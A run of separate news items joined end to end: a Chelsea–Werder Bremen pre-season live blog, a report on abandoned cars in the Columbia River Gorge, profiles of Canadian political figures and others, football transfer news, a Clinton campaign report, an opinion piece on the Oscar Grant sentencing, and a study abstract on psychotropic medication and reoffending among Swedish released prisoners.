In addition to Rice, this year’s attendees heard from Gene Sperling,director of the National Economic Council, and will meet Tuesday with top Republican and Democratic lawmakers in Congress.
Featured topics this year include combating genocide, immigration reform, rights of workers and gay rights.
This story "Susan Rice Says Defending Israel Key Part of U.N. Job" was written by JTA. |
Ludovic Obraniak doubled their lead with a header shortly before the break while Felix Kroos added a second penalty late on.
Chelsea have suffered their first defeat of pre-season, losing 3-0 to Werder Bremen at the Wesser Stadium in Germany this afternoon.
3.32pm Good afternoon! Chelsea get their final European tour match underway in around half an hour. They've named a strong team for the outing, so let's take a look at the lineups...
3.33pm CHELSEA STARTING XI: Courtois, Azpilicueta, Zouma, Terry, Luis, Van Ginkel, Matic, Salah, Fabregas, Torres, Costa
3.35pm CHELSEA SUBSTITUTES: Cech, Ivanovic, Ake, Hazard, Mikel, Drogba, Cahill, Chalobah, Baker, Christensen, Boga, Solanke
3.38pm So new signings Cesc Fabregas, Filipe Luis and Diego Costa are all in the starting lineup, while the re-signed Didier Drogba starts on the bench. According to the club's Twitter account, Drogba, Petr Cech , Eden Hazard and John Obi Mikel will also feature in the second half.
3.42pm It is interesting to note that Courtois gets the nod to start ahead of Cech in goal today. The keepers are battling for to be Jose Mourinho 's first choice between the posts. On the subject of the competition between the duo, Mourinho said: "It was logical that Courtois had to be back. It would be nonsense to have such a fantastic young goalkeeper and not to have him back. That decision was an easy one. If I have to make a decision for Cech to be on the bench, or for Courtois to be on the bench, it's no problem for me. I will do what I think is the best."
3.46pm
José Mourinho schreibt fleißig Autogramme! #fantag2014 pic.twitter.com/i7mkxAOSij — SV Werder Bremen (@werderbremen) August 3, 2014
Mourinho has been patrolling the side of the pitch signing autographs for fans, although this young Bremen fan doesn't look too happy about the Chelsea manager signing his shirt:
3.50pm We don't have the full Bremen team news yet, but we do know that former Chelsea man Franco di Santo is in their starting lineup. The striker left Chelsea in 2010 to join Wigan before moving to the Bundesliga in 2013.
3.54pm PREDICTION! With just a few minutes until kickoff, let's make a prediction! Pre-season games are always a bit tricky to call while players are still getting used to being back in training, but Bremen have certainly looked good in their matches so far this summer, although Chelsea do have a strong side. I can see this one being a draw, so I'm going for 2-2.
3.57pm BREMEN STARTING XI: Wolf, Fritz, Lukimya, Caldirola, Garcia, Galvez, Bartels, Obraniak, Junuzovic, Di Santo, Elia
3.39pm The teams are just making their way out in front of a packed Wesser Stadium. Kickoff should just be a few moments away.
1 min KICKOFF! Chelsea get the match underway.
2 min Chelsea immediately have a free kick as Fritz charges into Torres. The striker is left rubbing his ankle after quite a heavy collision, but he's quickly back on his feet.
5 min Chelsea have had the majority of the ball in the opening couple of minutes, but Fritz wins it back for the hosts and tries to get it forward for the German side, but Elia can't control the delivery, and it goes out for a throw in. There have been no chances of note as yet, but it's still early days.
8 min Matic makes a break for the visitors, shrugging off a couple of challenges before crossing into the box for Torres, but the Spaniard is being too closely marked and can't get his shot way, allowing Bremen to make the clearance.
10 min More positive play from the visitors as Diego Costa puts the Bremen defenders under pressure, collecting the ball from a back pass, but Wolf did enough to clear the danger.
11 min CHANCE! Thibaut Courtois has made his first ever save in a Chelsea shirt! The Belgium international is tested when Di Santo tries to head in from close range, but Courtois reads it well and punches it away.
13 min Bremen are starting to look a little more threatening, with Fritz making a run from inside his own half to have a shot, but Terry was there to make the block.
16 min CHANCE! Costa seems to be a marked man as he's fouled twice in the space of two minutes. The second gives Chelsea a free kick just outside the box, which Fabregas curls in towards Zouma, bu the centre-back couldn't quite reach it in time.
19 min PENALTY TO BREMEN! John Terry handles the ball in the box, so Bremen have a spot kick.
20 min GOAL! Bremen 1-0 Chelsea (Elia pen.)
20 min A brilliant ball forward from Fritz left Chelsea wide open and the back, and Terry just appeared the catch the ball with his arm while racing to get back. There was some doubt as to whether the hand ball was in the box or not, but there was no doubt about Eljero Elia 's spot kick, as he drilled it in low to the far right of the goal. Courtois went the right way, but just couldn't stretch far enough.
23 min Bremen have naturally been boosted by the goal, and are enjoying the majority of the possession at the moment. However, Chelsea have quickly got organised at the back to make sure that the hosts don't get a quick chance to add a second.
26 min Di Santo tries to set Elia up again following another good through ball from Fritz, but the former Chelsea man mis-times his pass, and it goes straight to Azpilicueta.
27 min
We've already come from behind on three occasions during pre-season, let's hope we can do it again. #CFCLive— Chelsea FC (@chelseafc) August 3, 2014
Chelsea's Twitter feed is full of optimism, despite the team going a goal down:
30 min Fabregas has been involved almost every time Chelsea have pushed forward so far, and he's involved again as he curls in towards Costa, but it's a little too high, allowing Wolf to gather before the keeper wins a free kick as Costa, who had already committed to a header, clatters into him.
33 min Matic launches a long ball forward into the box, but Wolf comes off his line to claim it before any of the Chelsea players waiting in the box can reach it. The Bremen goalkeeper really hasn't been tested yet.
36 min Chelsea have had the majority of the ball in the last five minutes, but are still yet to create a real goal-scoring opportunity. Azpilicueta manages to find an unmarked Torres with a curling ball into the box, but the Spain international smashes his shot well over.
37 min GOAL! Bremen 2-0 Chelsea (Obraniak)
37 min The hosts quickly break on the counter-attack and from nowhere they've doubled their lead. Fritz lobs the ball forward, and it drops nicely just inside the box for Ludovic Obraniak , who coolly heads the ball past Courtois. The Polish international isn't known for his heading, but he certainly hit that one well.
40 min Bremen are brimming with confidence now, and are pushing to make it three before the break, with Elia and Di Santo teaming up on the edge of the box, but the latter's ball forward for the first goalscorer has too much pace and goes behind for a goal kick.
43 min DISALLOWED GOAL! Mohamed Salah has the ball in the back of the net for Chelsea, having found himself unmarked at close range. Unfortunately for him, he was unmarked because he was offside, something that didn't escape the attention of the assistant referee.
45 min Chelsea are on the ball again, but really don't look creating anything in the final moments of this first half.
45 min HALF TIME: Werder Bremen 2-0 Chelsea
4.50pm So goals from Eljeri Elia and Ludovic Obraniak have given Werder Bremen a 2-0 lead over Chelsea at half time in their pre-season friendly in Germany. It's been a pretty clinical display from the Bundesliga side so far, making the most of their limited chances while defending well against Jose Mourinho 's men.
4.53pm Chelsea did have the ball in the back of the net, but Bremen goalkeeper Raphael Wolf probably could have got to Mohamed Salah's strike had he not already spotted the offside flag being raised.
4.57pm The penalty incident was an interesting one. In real time it did appear to strike John Terry's hand, but replays suggest it may he hit his back, as well as being right on the very edge of the box. The Chelsea captain will no doubt feel hard by.
5.01pm It looks like Chelsea will be making at least one change for the second half, as Petr Cech has got his scrum cap on and has been warming up during the break.
5.04pm The teams are making their way back out for the second half. We'll bring you all changes as soon as we have them.
46 min Bremen get the second half underway.
46 min Cech, Ivanovic, Mikel, Cahill and Drogba have all come on for Chelsea at half time.
48 min Drogba, who is playing in a Chelsea shirt for the first time since helping them win the Champions League in 2012, seems keen to make an early impact as he looks to combine with Torres, but Bremen spot the danger.
50 min Chelsea win a free kick around 25 yards out, which Fabregas floats in towards Torres, who in turn tries to head on four Drogba, but the Ivorian is offside.
53 min Chelsea have certainly looked more attacking at the start of the second half, but are still yet to put the Bremen keeper under pressure. There could be more changes coming though, as Hazard and Ake are warming up.
55 min Fabregas is continuing to play a big role in the attack for Chelsea as he tries to pick out Drogba, but puts a little too much on the ball.
56 min PENALTY APPEAL! Chelsea want a penalty as Fritz appeared to catch the ball on his arm while attempting to block a Fabregas cross, but the referee isn't interested.
58 min SUBS! Salah and Torres make their way off as Nathan Ake and Edin Hazard are introduced for the visitors.
61 min Ake tries to make an impact, but his first contribution is to give away a free kick. The break in play allows the hosts to make a string of changes.
63 min There really haven't been any chances in this second half yet, Chelsea have certainly been more attacking than they were in the first half, but still haven't forced a save, while Petr Cech hasn't really had anything to do since replacing Courtois during the break.
67 min CHANCE! Bremen have been enjoying a little more possession in the last couple of minutes, but really haven't looked like adding to their two goals from the first half. Chelsea try to catch them out on the counter-attack, with Hazard slicing the ball through two defender for Fabregas, but the Spaniard finish was a fraction too high.
70 min SUB! Azpilicueta makes way for Jeremie Boga, who immediately looks to set up Drogba, but it comes to nothing.
73 min Ake initially came in at the back but has been playing a more advanced role in the last couple minutes as Chelsea try to get back into the match. However, the visitors just don't seem to be gelling up front. There have been so many over-hit balls and miscommunications, but there's is still time for them to salvage something.
76 min SUB! Mourinho makes another change, taking off captain John Terry to bring on young defender Lewis Baker.
79 min Ake and Matic play the ball through midfielder before the former regains the ball out wide and tries to cross in for Fabregas, but completely overhits it, and it goes out for a throw in on the opposite side.
82 min A great ball forward from Fabregas leaves Drogba through on goal with only Wolf to beat, but the striker's first touch is poor, and it rolls harmlessly to the Bremen keeper.
84 min Chelsea win just their second corner of the game as Matic continues to put the home side's defenders under pressure. However, it's swiftly cleared and Bremen force Cech into action at the other end, but the goalkeeper gets his fingertips to Fritz's shot before Cahill clears.
85 min CHANCE! The second half has suddenly burst into life! Chelsea are straight back in Bremen's box, but Costa rushes his finish, pulling it a fraction wide.
88 min PENALTY TO BREMEN! Ake goes lunging in to give the hosts their second spot kick of the match.
89 min GOAL! Bremen 3-0 Chelsea (Kroos pen.)
89 min Felix Kroos is sent tumbling as Ake brings him down with a tackle from behind, although it did look like he got some of the ball. The referee just books Ake, despite him being the last man, but also gives the hosts the penalty, which Kroos takes himself, and smashes into the left side of the goal.
90 min FULL TIME: Werder Bremen 3-0 Chelsea
5.52pm There's no time for Chelsea to try and get a goal back as the referee blows for full time. It really wasn't a great display by Chelsea this afternoon, and that's reflected in the scoreline. They did show much more attacking intent after the break, but couldn't get the ball to their strikers. |
The Columbia River Gorge's abandoned car problem Copyright by KOIN - All rights reserved One of at least six deserted vehicles pulled from the Columbia River Gorge near Angel's Rest on Feb. 24, 2015. (Don Nelson) [ + - ] Video
CORBETT, Ore. (KOIN 6) – A fleet of tow trucks took over the gravel road near Bridal Veil Creek near Angel's Rest trail head Tuesday in an effort to remove at least six abandoned vehicles.
The vehicles were all illegally abandoned or stolen and then ditched by the suspect or suspects who rolled them off Palmer Mill Road. The vehicles have ended up anywhere from 50 to 100 feet off the main road. Some of them have been in the woods for more than seven years, the sheriff's office said.
Loop Hi-Way Towing is heading up Tuesday's retrieval efforts. They said it takes a lot of skill and luck to remove the vehicles. Chuck Miline donned a harness, hard hat and a 100-foot rope to help guide him down the embankment.
When he got to the vehicles, he relayed vehicle identification number and license plate data over a two-way radio to Multnomah County Sheriff Deputy Joe Graziano. Once Graziano had the information, he jumped into his patrol car to run the vehicles through state databases.
He was checking to see if they were stolen. At least one vehicle came back as reported stolen. Others would take more research to figure out how they ended up down the embankment. One of the vehicles pulled out was last registered in 1986. Tracking the owner could be next to impossible.
It's illegal to abandon a vehicle without notifying the state, and also illegal to leave a car on private or state property. Don Nelson, who hikes in the Columbia River Gorge often, said that he has counted at least 30 vehicles on trails throughout the area.
He said the Gorge is a prime spot for people to ditch cars. Often times the vehicles, once pushed over, fall down steep embankments and then get covered by brush. Some of the vehicles Nelson found ended up on the banks of Bridal Veil Creek. Nelson said there are environmental concerns because of the fluids that leak from the vehicles.
The cost to retrieve the cars is unknown. Insurance companies will cover the cost for any vehicle reported stolen. The tow company will then sell the abandoned vehicles for scrap metal to make up the cost.
If deputies are able to identify and prove who left the vehicles behind, they could seek criminal charges and restitution.
Anyone who sees evidence of freshly abandoned vehicle in Multnomah County should report it to non-emergency dispatch at 503.823.3333. |
Federal Justice Minister Jody Wilson-Raybould
The most powerful Aboriginal in Canada
Federal Justice Minister Jody Wilson-Raybould was marked for great things early. Her grandmother gave her an indigenous name, “Puglaas,” which meant “a woman born to noble people” in Kwak’wala.
She was in her early teens when her father, Bill Wilson a First Nations leader, took to a dais to push for amendments that would enshrine Aboriginal rights in the Canadian Constitution. Wilson testified before then-prime minister Pierre Trudeau himself.
His two children “for some misguided reason” wanted to be lawyers, Wilson explained to Prime Minister Justin Trudeau recently.
Both of whom want to be the prime minister
“Both of whom want to be the prime minister,” he said. “Both of whom, Mr. Prime Minister, are women.”
Trudeau said he’d “stick around until they’re ready,” a response that garnered guffaws in the room.
That exchange, caught in a video clip, went viral soon after Wilson-Raybould, from the Kwakwaka’wakw First Nation in B.C., was named justice minister in November.
The appointment made her the most powerful Aboriginal woman in Canadian history.
Even before, Wilson-Raybould, 44,could boast a remarkable career.
After earning a law degree from University of British Columbia, she was called to the bar in 2000. Soon after, she began serving as a provincial crown prosecutor, overseeing one of the country’s most notorious districts, Vancouver’s Downtown Eastside — an area known for drug use and poverty, and one that disproportionately attracts First Nations men and women.
She was elected head of the We Wai Kai Nation, where she spearheaded attempts to scrap the Indian Act and introduce a more sustainable model of First Nations governance. In 2009 and 2012, she was also elected a regional chief for the Assembly of First Nations.
In 2013, the Idle No More protests prompted her to run for office under the Liberal banner. Conservative prime minister Stephen Harper had offered a milquetoast response to ending the Indian Act after meeting First Nations leaders — even though Wilson-Raybould herself has long championed a potential alternative to the colonial-era act.
Our solutions weren’t being listened to
“During … Idle No More and when we had the opportunity to sit down with (Harper) and some of his key ministers and officials, it was an opportunity,” she said in Montreal soon after the election.
“My perspective in sitting there, in what I heard, was that our solutions weren’t being listened to.”
She easily won the riding of Vancouver-Granville, also a hotspot for marijuana legalization, another item on her to-do list.
Given her background and professional achievements, Wilson-Raybould was quickly tapped as a cabinet hopeful.
Her father was worried she would be pigeonholed into becoming minister of indigenous and Northern affairs, telling the CBC he feared she would be relegated to the “asshole of cabinet” and made “useless.”
Wilson-Raybould laughed off her dad’s candour off, but she must be relieved. Justice minister is no symbolic portfolio. She will oversee two of the Liberal government’s most contentious and high-profile priorities: the missing and murdered women inquiry, and the plans to legalize marijuana.
She will also be at the forefront of crafting the new federal law on euthanasia, after the legislation was struck down by the Supreme Court of Canada in February.
Her performance suggests she has already mastered the political art of deflection and delay. Her answers to questions on these files tend toward the evasive. But then, this government is new, and so is she.
Her reputation for someone with a talent for consultation will undoubtedly be sorely tested in the face of such tricky political and moral files.
— Jen Gerson
Brad Wall, the premier of Saskatchewan
The climate change holdout
He mourns the loss of jobs in the oilpatch while other premiers tout carbon taxes, cap-and-trade schemes and world-saving climate change talks in Paris. He encourages the federal government to re-double its security efforts and extend its arbitrary deadlines as the rest of the country embraces warm-and-fuzzy pro-refugee sentiments. He defends the petroleum sector as Alberta promises royalty reviews.
Brad Wall, the premier of Saskatchewan, is the last contrarian standing. But, he insists, “I don’t feel that lonely.”
After every Conservative government was swept from power federally and provincially in the past year, Wall is still standing, a lone but sturdy fence post on a clean, clear patch of freshly seeded farmland.
I don’t feel that lonely
The Saskatchewan premier is a true ideological conservative, championing free markets and small governments. Polls show he remains Canada’s most beloved premier, even after eight years in power.
In some ways, he is the most potent opposition force in the country, unburdened by the political baggage that had accrued under Stephen Harper and, thus, more powerful even than the official opposition in Ottawa.
No one is expecting any great upset in April, when Saskatchewan heads to the polls. Likewise, few expect the 50-year-old premier from Swift Current to jump to federal politics. For one thing, he cannot speak French fluently, and the Conservative Party as a whole seems to be casting about for a more female, more central Canadian leader.
Besides, Wall seems best able to play the part of the conservative right where he is, a prairie premier, secure in his base, and free to challenge the popular new prime minister.
“I’m just going to stay focused on the job that I have to represent Saskatchewan’s interests in the national context. I’ll absolutely be weighing in on national issues — but only, for the most part, in that context,” he said.
Expect to hear more from him on interprovincial trade, the economy and pipelines. He’s heartened by recent reports Ottawa is taking the downturn in the oilpatch seriously. He would like the petroleum provinces get a little extra help with some of that long-promised infrastructure money as a form of stimulus.
No one is asking for a bailout, he said, but Wall wants to ensure the federal government does no further harm to the badly battered resource sector, whether that harm comes in the form of a national carbon tax, or a poorly timed payroll tax.
And considering the Alberta government seems to have abandoned its traditional role as defender of the energy sector, this is a natural position for Wall.
I’m absolutely going to stand up for the energy sector
“I’m absolutely going to stand up for the energy sector. (Saskatchewan) is the second largest producer of oil,” he said. “It’s in the interests of all Canadians, especially in leadership to stand up for the secotor…but we act almost like we’re embarrassed by it and that bothers me a bit given what that sector has done for the economy of this country and our quality of life.”
Under his leadership, Saskatchewan has enjoyed several years of population growth and economic strength. Before the Saskatchewan Party’s ascendance, the province was better known as the place young people left to find better opportunities.
Saskatchewan has since become Canada’s petri dish of conservative economic principles and the fecundity of the province feeds into Wall’s continued popularity.
When the New Democrats were elected in Alberta in May, social media abounded with images of terrified conservatives packing trains for the new promised land, Saskatchewan. For Saskatchewan residents, the thought of Albertans heading east in search of better jobs was a gratifying turn.
Don’t underestimate Wall’s ability to read a right-leaning crowd. He’s an emerging force in national politics and on the hustings.
— Jen Gerson
James Carr, the federal natural resources minister
Jon No. 1: Getting Canadian energy to Asia
After years of conflict over proposed energy projects – particularly oil pipelines – Western Canadian eyes in 2016 will be on James Carr, the federal natural resources minister, to deliver approvals.
First up is the $6.8 billion-expansion of the TransMountain oil pipeline between Edmonton and Burnaby, B.C., which after two years of controversial review is due for a National Energy Board recommendation to Prime Minister Justin Trudeau’s cabinet in May. The cabinet, in turn, will be expected to rule around August whether the Kinder Morgan project can move forward.
Another major project long overdue for startup is the $11.4-billion Pacific North West LNG, led by Malaysia’s Petronas, which is also waiting for federal environmental approval in early 2016 after a string of delays.
Both have been paralyzed by confrontations with First Nations, NIMBYs, environmentalists.
Both would open the door to the export of Canadian oil and gas to Asia, giving a boost to Western Canada’s energy sector at a time of depressed commodity prices and making Canada less beholden to the oversupplied American market.
Carr’s job will be complicated by Trudeau’s fixes so far to appease opponents, such as upping Canada’s climate-change commitments, promising to reform the NEB, sidelining the already approved Northern Gateway oil pipeline by formalizing a ban on oil tankers on Canada’s northern coast.
Carr will quickly find out that opponents of energy projects will continue to oppose, regardless of what’s offered to appease them, while the country’s energy economy is facing long-term stagnation without infrastructure and new markets.
— Claudeo Cattaneo
Dan Levy
Canadian comedy scion
Schitt’s Creek proved to be vastly more clever and humane than its name might have you believe, and it seems fair to pin a good amount of that on the shoulders of Dan Levy, Eugene’s son.
Not only was the series technically his idea, but as pan-sexual, perpetually disgusted and yet surprisingly sensitive son David, he was the breakout character of the show, serving both as its slightly warped heart and a solid wine-based metaphor about the fluidity of sexuality.
Things promise to get even deeper as Schitt’s Creek debuts its second season — but honestly, if Levy does nothing more than continue to give the impeccable duo of his dad and Catherine O’Hara a worthwhile project, he’s more than earned his place as a Canadian comedy scion.
— David Berry
Paul Kagame
Africa’s latest prez for life
It’s one of Africa’s most enduring political clichés: a strongman takes power, proclaims his love of term limits, then gradually changes the constitution to remain president for life.
Uganda’s Yoweri Museveni did it. So did Cameroon’s Paul Biya. Burundi’s Pierre Nkurunziza sparked widespread violence when he announced similar plans this year.
Now, Rwanda’s Paul Kagame is being accused of jumping on the constitution-changing bandwagon.
In a December statement, the White House said it was “disappointed” in Rwanda and urged Kagame to set a “laudable example” by stepping down at the end of his term.
The results are undeniable and the historical context is unforgettable at least to us Rwandans
Through petitions and a late-December referendum, Rwanda recently abolished two-term limits for presidents, effectively hitting the reset button on Kagame’s rule. He could now serve until 2034. As recently as 2011, he was promising to step down at the end of his second term.
But with the recent referendum coming from the country’s Kagame-loving grassroots, he’s hinted by staying in power he would be merely following the will of the electorate.
“The results are undeniable and the historical context is unforgettable at least to us Rwandans,” he said.
In 1994, Kagame commanded the Rwandan Patriotic Front, the rebel army that brought the Rwandan genocide to an end by force. After becoming president in 2000, he has overseen one of Africa’s most storied success stories.
Open expressions of dissent are rare
Kagame brought stability to a country where neighbours once killed each other with machetes. In recent years, gross domestic product has grown by seven per cent and the United Nations Human Development Index has found Rwanda to be the world’s fastest developing country, a ranking it obtained despite the shock of the genocide.
All this progress has occurred amid restrictions on personal liberties most Western countries would find abhorrent. Journalists can be jailed if they are deemed to have insulted the government or law enforcement. Opposition parties are curiously mute. Government critics, including Kagame’s former spy chief, Patrick Karegeya, have been murdered.
“In Rwanda, independent civil society organizations are weak, due to years of government intimidation, threats and administrative obstacles,” wrote Human Rights Watch in a recent dispatch. “Open expressions of dissent are rare.”
Part of Kagame’s popularity is his support of African self-reliance.
The rest of the world, of course, did painfully little to stop the 1994 genocide. Now, Kagame can argue a lecture about term limits from U.S. President Barack Obama has nothing to offer Rwanda now.
— Tristin Hopper
Robot doctors
AI bedside manner will be next
IBM’s supercomputer Watson is so good at answering questions in natural language, it can beat humans at Jeopardy. Fun, but not exactly life changing.
In a new partnership with 14 North American hospitals, including the B.C. Cancer Agency, Watson will use its robot brain power to give cancer treatment advice, based on a vast library of research paired with the patient’s genetic profile.
It will also help doctors at those hospitals detect early-stage skin cancers. For now, machines and humans are teaming up on medical care: we’re a ways away from a robot replacing your family physician.
But with artificial intelligence getting exponentially better, it may not be long before Watson is taking your blood pressure and testing your reflexes, too.
IBM sees a lot of potential in the medical field, creating a new business unit, Watson Health, to deal with the demand.
— Claire Brownell |
Alan Pardew admits former Arsenal duo Emmanuel Adebayor and Nicklas Bendtner are among the strikers he wants to sign for Crystal Palace.
Bendtner is understood to be available on loan after falling down the pecking order at Bundesliga outfit Wolfsburg, where he has made just three starts this term.
Palace have failed to score in their last five matches and only one of their current forward line – Connor Wickham – has notched a Premier League goal this season.
“We’re still going down the line of Adebayor and a couple of the others mentioned, but a few more have come to light,” Eagles manager Pardew said.
“Bendtner is available, and there’s someone else we are looking at. We’re after someone who can fit into our group and give us a lift. A big player coming in might do that.
“We’re having a terrific season, but we’re experiencing a lull right now. So we need to give the fans a lift, as well as those in our group.
“We have to take that opportunity [and secure a forward]. It will make sense for our fans, our players, and our chairman, Steve Parish. He’s probably keener than me and is hunting around for one.”
However, Pardew is wary of paying an inflated fee for a new signing with clubs hiking asking prices due to the Premier League’s recent surge in wealth.
“The most important part is people remain realistic,” he added.
“But what are realistic figures at the moment? Some of the figures being bandied around for good players, but not great players, are ridiculous in my opinion.
“With the new television contract in the summer, it’s important we keep sensible heads and try and do deals which are right for both clubs.”
Pardew, meanwhile, also confirmed Wayne Hennessey will start in goal against Tottenham at Selhurst Park on Saturday.
The Wales international was publicly criticised after errors in defeats to Aston Villa and Manchester City.
“He’ll play Saturday. He’s battered and bruised, though,” Pardew added.
“We’ve not let him hide from those mistakes. We’ve made it clear there’s no point burying his head in the sand. He was our player of the month for December, but he has to get back to his best. And quickly. He has to show on Saturday that he can cope and do well again.
“Times like this make you as a player. It’s when you get strong. He’s a laid-back character, not one to lay in bed and worry at night too much, but I’ve made him worry.
“My process has been to get him out of bed and into action. He’s a good guy, an honest guy, and he’s been terrific this year. But it’s a serious business. He’s made a couple of errors, so the spotlight’s on him: he has to respond.” |
NEW YORK CITY, New York — Former Secretary of State Hillary Clinton, the Democratic nominee for president, had yet another coughing fit on her plane flight from Ohio to Iowa in front of the traveling press, ABC News reports.
Liz Kreutz from ABC News notes that while Clinton still hasn’t held a formal press conference, after her Labor Day event in Cleveland, Ohio, she hopped into the press cabin of her new campaign plane, which was flying to the Quad Cities area of Iowa, to take a handful of questions from reporters. But instead of actually being able to answer their questions, Clinton had to cut the “press availability” short because of another coughing fit.
Clinton made statements about her new book & Russia/hacking, and then took 7 questions from reporters before excusing herself bc of a cough. — Liz Kreutz (@ABCLiz) September 5, 2016
Hillary Clinton gaggling with reporters as we fly from Cleveland to the Quad Cities pic.twitter.com/5oGNcyiiMA — Liz Kreutz (@ABCLiz) September 5, 2016
Video of the presser on Hillary Clinton’s plane shot by Fox News shows that she literally walked away from the press when she burst out into the coughing fit.
Later, Clinton came back to the press area of the plane–which is distinct and separate from the rest of the plane, which has four separate cabins for press, Secret Service, Clinton herself, and for her staff–to “finish” the press gaggle. She didn’t make it back until the plane landed, and when she came back she had a bottle of water in hand.
Plane has landed — and Clinton (water in hand) has just come back to finish the gaggle pic.twitter.com/r6eos9yptC — Liz Kreutz (@ABCLiz) September 5, 2016
According to ABC News reporter Liz Kreutz, Clinton always keeps a glass of water and at least two lozenges under the podium wherever she speaks.
Hillary Clinton always keeps 2 throat lozenges and a glass of water under her podium jic, like today, she gets a coughing fit on stage. — Liz Kreutz (@ABCLiz) September 5, 2016
Earlier in the day in Cleveland when she took the stage and had barely started speaking before breaking out into perhaps the worst coughing fit she’s ever had in public, Clinton blamed it on being “allergic” to Donald Trump–the Republican nominee for president.
But now, on her plane after her second coughing fit of the day, Clinton’s story changed to that she has “seasonal allergies.”
"One thing you know from my doctor letter is I have seasonal allergies," Clinton joked after returning to the gaggle following her cough — Liz Kreutz (@ABCLiz) September 5, 2016
Clinton has thus far refused to release her medical records, and Trump has goaded her on that fact, saying he just might release his to the public to force her hand on the matter. |
US Justice: Sticks For Blacks And Latinos, Carrots For Cops
On Friday, former police officer, Johannes Mehserle, who killed unarmed passenger Oscar Grant on New Years day 2009 was sentenced by Judge Perry in Los Angeles. The police brutality occurred in Oakland, but the trial was moved to Los Angeles to avoid a repeat of the protests following the killing of Oscar Grant. Judge Perry sentenced Mehserle to just two years, ruling it was “involuntary manslaughter”. The LA judge is also taking off 146 days for time served, and another 146 days for “good behavior”. That is almost one year taking off the already minimal sentencing of two years. Without the leniency of judge Perry, Mehserle could have faced 14 years in jail.
After the questionable verdict, protest broke up in Oakland, and other protest were scheduled today in LA and nationwide. Last night in Oakland, police made more than 150 arrests after some protesters started confronting the cops, and broke some private and public properties. In Los Angeles, outside the courtroom, a relative of Oscar Grant expressed his deep frustration over the lenient verdict.
“I do believe it is a racist justice system,” said Bobby Johnson, the uncle of Oscar Grant.
John Burris, the attorney for the Johnson family was outraged by Judge Perry’s ruling as well.
“What you take from this is that Oscar Grant’s life was not worth very much,” said Burris.
The case of the shooting of Oscar Grant is not isolated at all, and police brutality has been apart of African-Americans and Latinos daily life for a very long time. A documentary filmmaker, and Pacifica radio host, JR Valrey is arguing that we are facing an epidemic of police brutality to the extent that Valrey qualifies it as “police terrorism”. In his film, “Operation Small Axe”, Valrey focus on the shooting and killing of Oscar Grant and the protests following the tragic incident.
“Police brutality is definitely not ‘isolated incidents’ as official always say after each new killing or beating by police. When we screened ‘Operation Small Axe’ in Atlanta, people were still talking about the police murder of 92-year old Kathryn Johnson in 2006,” said Valrey.
Recent data released by the National Police Misconduct Statistic and Reporting Project, which started keeping track of police brutality since 2009, 2,541 cases of police misconduct nationwide took place between January and June 2010. Further, police misconduct caused 124 deaths in the first six months of 2010 with 60 percent of the killings resulting from police gunfire. Additionally, during the same six months period, police brutality’s price tag for the taxpayer was around $150 million in police misconduct settlements or judgements paid out.
Valrey argues that police brutality unifies Blacks and Latinos across the country, and the activist journalist calls brutality committed by law enforcements officers “police terrorism”.
“People in the minority communities know that this police terrorism is happening. Latinos and Blacks usually don’t agree on religion or politics, but they agree that police terrorism is an unnecessary evil in our communities,” Valrey said. It is as if America’s law and order apparatus, at least in the case of Blacks and Latinos, has flipped the “presumption of innocence until proven guilty” by a presumption of guilt until proven innocent.
Note: All photographs by Thomas Hawk. To view some more of his great photo coverage of the Oakland protests click here. |
Key Points
Question Is the use of psychotropic medications associated with a lower risk of reoffending for violent crime among released prisoners?
Findings In this cohort study of 22 275 released prisoners, 3 classes of psychotropic medications (antipsychotics, psychostimulants, and medications used for addictive disorders) were associated with statistically significant hazard ratios (0.58, 0.62, and 0.48, respectively) of violent reoffending.
Meaning Evidence-based provision of psychotropic medications to released prisoners was associated with lower risk of reoffending.
Abstract
Importance Individuals released from prison have high rates of violent reoffending, and there is uncertainty about whether pharmacological treatments reduce reoffending risk.
Objective To investigate the associations between major classes of psychotropic medications and violent reoffending.
Design, Setting, and Participants This cohort study included all released prisoners in Sweden from July 1, 2005, to December 31, 2010, through linkage of population-based registers. Rates of violent reoffending during medicated periods were compared with rates during nonmedicated periods using within-individual analyses. Follow-up ended December 31, 2013.
Exposures Periods with or without dispensed prescription of psychotropic medications (antipsychotics, antidepressants, psychostimulants, drugs used in addictive disorders, and antiepileptic drugs) after prison release. Prison-based psychological treatments were investigated as a secondary exposure.
Main Outcomes and Measures Violent crime after release from prison.
Results The cohort included 22 275 released prisoners (mean [SD] age, 38 [13] years; 91.9% male). During follow-up (median, 4.6 years; interquartile range, 3.0-6.4 years), 4031 individuals (18.1%) had 5653 violent reoffenses. The within-individual hazard ratio (HR) associated with dispensed antipsychotics was 0.58 (95% CI, 0.39-0.88), based on 100 events in 1596 person-years during medicated periods and 1044 events in 11 026 person-years during nonmedicated periods, equating to a risk difference of 39.7 (95% CI, 11.3-57.7) fewer violent reoffenses per 1000 person-years. The within-individual HR associated with dispensed psychostimulants was 0.62 (95% CI, 0.40-0.98), based on 94 events in 1648 person-years during medicated periods and 513 events in 4553 person-years during nonmedicated periods, equating to a risk difference of 42.8 (95% CI, 2.2-67.6) fewer violent reoffenses per 1000 person-years. The within-individual HR associated with dispensed drugs for addictive disorders was 0.48 (95% CI, 0.23-0.97), based on 46 events in 1168 person-years during medicated periods and 1103 events in 15 725 person-years during nonmedicated periods, equating to a risk difference of 36.4 (95% CI, 2.1-54.0) fewer violent reoffenses per 1000 person-years. In contrast, antidepressants and antiepileptics were not significantly associated with violent reoffending rates (HR = 1.09 [95% CI, 0.83-1.43] and 1.14 [95% CI, 0.79-1.65], respectively). The most common prison-based program was psychological treatments for substance abuse, associated with an HR of 0.75 (95% CI, 0.63-0.89), which equated to a risk difference of 23.2 (95% CI, 10.3-34.1) fewer violent reoffenses per 1000 person-years.
Conclusions and Relevance Among released prisoners in Sweden, rates of violent reoffending were lower during periods when individiduals were dispensed antipsychotics, psychostimulants, and drugs for addictive disorders, compared with periods in which they were not dispensed these medications. Further research is needed to understand the causal nature of this association.
Introduction
There were more than 10 million prisoners worldwide in 2015, with approximately 2.2 million in the United States alone.1 Despite reported decreases in violence in many countries, reoffending rates remain high. From 2005 through 2010, more than one-third of released prisoners in the United States and the United Kingdom were reconvicted of a new crime within 2 years.2,3 With planned reductions in prison populations in many countries, evidence to facilitate the safe release of large numbers of prisoners has become a research and policy priority.4
